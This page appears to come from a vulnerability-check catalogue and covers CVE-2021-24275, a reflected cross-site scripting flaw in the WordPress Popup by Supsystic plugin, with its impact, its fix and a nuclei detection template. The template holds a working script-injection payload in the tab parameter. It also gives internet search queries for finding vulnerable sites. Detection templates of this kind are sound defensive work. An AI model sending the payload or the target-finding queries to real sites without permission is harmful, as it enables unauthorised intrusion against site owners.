Browse / CVEs / CVE-2021-24275
CVE-2021-24275· supsystic / popup· CWE-79
Popup by Supsystic <1.10.5 - Cross-Site scripting
WordPress Popup by Supsystic before 1.10.5 did not sanitize the tab parameter of its options page before outputting it in an attribute, leading to a reflected cross-site scripting issue.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
Fix
Upgrade to Popup by Supsystic version 1.10.5 or later to mitigate the vulnerability.
How to confirm it
Send: GET {{BaseURL}}/wp-admin/admin.php?page=popup-wp-supsystic&tab=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2021-24275 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2021-24275
info:
name: Popup by Supsystic <1.10.5 - Cross-Site scripting
author: dhiyaneshDK
severity: medium
description: WordPress Popup by Supsystic before 1.10.5 did not sanitize the tab parameter of its options page before outputting it in an attribute, leading to a reflected cross-site scripting issue.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: |
Upgrade to Popup by Supsystic version 1.10.5 or later to mitigate the vulnerability.
reference:
- https://wpscan.com/vulnerability/efdc76e0-c14a-4baf-af70-9d381107308f
- http://packetstormsecurity.com/files/164311/WordPress-Popup-1.10.4-Cross-Site-Scripting.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-24275
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-24275
cwe-id: CWE-79
epss-score: 0.18165
epss-percentile: 0.97227
cpe: cpe:2.3:a:supsystic:popup:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
vendor: supsystic
product: popup
framework: wordpress
shodan-query: http.html:/wp-content/plugins/popup-by-supsystic
fofa-query: body=/wp-content/plugins/popup-by-supsystic
publicwww-query: /wp-content/plugins/popup-by-supsystic
tags: cve2021,cve,wpscan,packetstorm,wordpress,wp-plugin,supsystic,vuln
http:
- method: GET
path:
- '{{BaseURL}}/wp-admin/admin.php?page=popup-wp-supsystic&tab=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
matchers-condition: and
matchers:
- type: word
words:
- '</script><script>alert(document.domain)</script>'
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200References
- https://wpscan.com/vulnerability/efdc76e0-c14a-4baf-af70-9d381107308f
- http://packetstormsecurity.com/files/164311/WordPress-Popup-1.10.4-Cross-Site-Scripting.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-24275
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from